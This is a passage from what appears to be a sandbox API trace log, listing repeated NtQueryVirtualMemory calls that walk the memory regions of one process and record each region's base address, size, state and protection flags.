VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x759b0000, AllocationBase=0x759b0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x759c0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x759c0000, AllocationBase=0x759b0000, AllocationProtect=0x80, RegionSize=0x49000, State=0x1000, Protect=0x20, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75a09000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75a09000, AllocationBase=0x759b0000, AllocationProtect=0x80, RegionSize=0x7000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75a10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75a10000, AllocationBase=0x759b0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75a11000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75a11000, AllocationBase=0x759b0000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75a20000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75a20000, AllocationBase=0x759b0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75a21000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75a21000, AllocationBase=0x759b0000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75a30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75a30000, AllocationBase=0x759b0000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75a32000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75a32000, AllocationBase=0x759b0000, AllocationProtect=0x80, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75a40000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75a40000, AllocationBase=0x75a40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.952] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75ac4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75ac4000, AllocationBase=0x75a40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.952] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75ac5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75ac5000, AllocationBase=0x75a40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.952] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75ac6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75ac6000, AllocationBase=0x75a40000, AllocationProtect=0x80, RegionSize=0x46000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.952] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75b0c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75b0c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1e4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.952] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75cf0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75cf0000, AllocationBase=0x75cf0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.952] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x760ba000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x760ba000, AllocationBase=0x75cf0000, AllocationProtect=0x80, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.953] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x760be000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x760be000, AllocationBase=0x75cf0000, AllocationProtect=0x80, RegionSize=0x3000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.953] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x760c1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x760c1000, AllocationBase=0x75cf0000, AllocationProtect=0x80, RegionSize=0x879000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.953] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7693a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7693a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3d6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.953] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76d10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76d10000, AllocationBase=0x76d10000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.953] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76d24000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76d24000, AllocationBase=0x76d10000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.953] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76d25000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76d25000, AllocationBase=0x76d10000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.953] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76d26000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76d26000, AllocationBase=0x76d10000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.953] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76d27000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76d27000, AllocationBase=0x76d10000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.953] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76d29000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76d29000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x97000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76dc0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76dc0000, AllocationBase=0x76dc0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76dd0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76dd0000, AllocationBase=0x76dc0000, AllocationProtect=0x80, RegionSize=0x17000, State=0x1000, Protect=0x20, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76de7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76de7000, AllocationBase=0x76dc0000, AllocationProtect=0x80, RegionSize=0x9000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76df0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76df0000, AllocationBase=0x76dc0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76df1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76df1000, AllocationBase=0x76dc0000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76e00000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76e00000, AllocationBase=0x76dc0000, AllocationProtect=0x80, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76e05000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76e05000, AllocationBase=0x76dc0000, AllocationProtect=0x80, RegionSize=0xb000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76e10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76e10000, AllocationBase=0x76dc0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76e11000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76e11000, AllocationBase=0x76dc0000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76e20000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76e20000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x180000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.954] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76fa0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76fa0000, AllocationBase=0x76fa0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.955] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76ff2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76ff2000, AllocationBase=0x76fa0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.955] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76ff3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76ff3000, AllocationBase=0x76fa0000, AllocationProtect=0x80, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.955] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x76ff7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x76ff7000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.955] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77000000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77000000, AllocationBase=0x77000000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.955] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77010000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77010000, AllocationBase=0x77000000, AllocationProtect=0x80, RegionSize=0xc1000, State=0x1000, Protect=0x20, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.955] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x770d1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x770d1000, AllocationBase=0x77000000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x770e0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x770e0000, AllocationBase=0x77000000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x770e1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x770e1000, AllocationBase=0x77000000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x770e2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x770e2000, AllocationBase=0x77000000, AllocationProtect=0x80, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x770f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x770f0000, AllocationBase=0x77000000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x770f1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x770f1000, AllocationBase=0x77000000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77100000, AllocationBase=0x77000000, AllocationProtect=0x80, RegionSize=0xb000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7710b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7710b000, AllocationBase=0x77000000, AllocationProtect=0x80, RegionSize=0x5000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77110000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77110000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77270000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77270000, AllocationBase=0x77270000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x772cc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x772cc000, AllocationBase=0x77270000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.956] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x772ce000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x772ce000, AllocationBase=0x77270000, AllocationProtect=0x80, RegionSize=0x3f000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.957] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7730d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7730d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1a3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.957] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x774b0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x774b0000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.957] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x774c0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x774c0000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0x96000, State=0x1000, Protect=0x20, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.957] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77556000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77556000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0xa000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.957] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77560000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77560000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0x3000, State=0x1000, Protect=0x20, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.957] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77563000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77563000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0xd000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.957] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77570000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77570000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.958] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77571000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77571000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.958] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77580000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77580000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.958] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77584000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77584000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0xc000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.958] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77590000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77590000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.959] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77595000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77595000, AllocationBase=0x774b0000, AllocationProtect=0x80, RegionSize=0xb000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.959] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x775a0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x775a0000, AllocationBase=0x775a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.959] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77613000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77613000, AllocationBase=0x775a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.959] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77614000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77614000, AllocationBase=0x775a0000, AllocationProtect=0x80, RegionSize=0x3000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.959] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77617000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77617000, AllocationBase=0x775a0000, AllocationProtect=0x80, RegionSize=0x29000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.959] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77640000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77640000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, 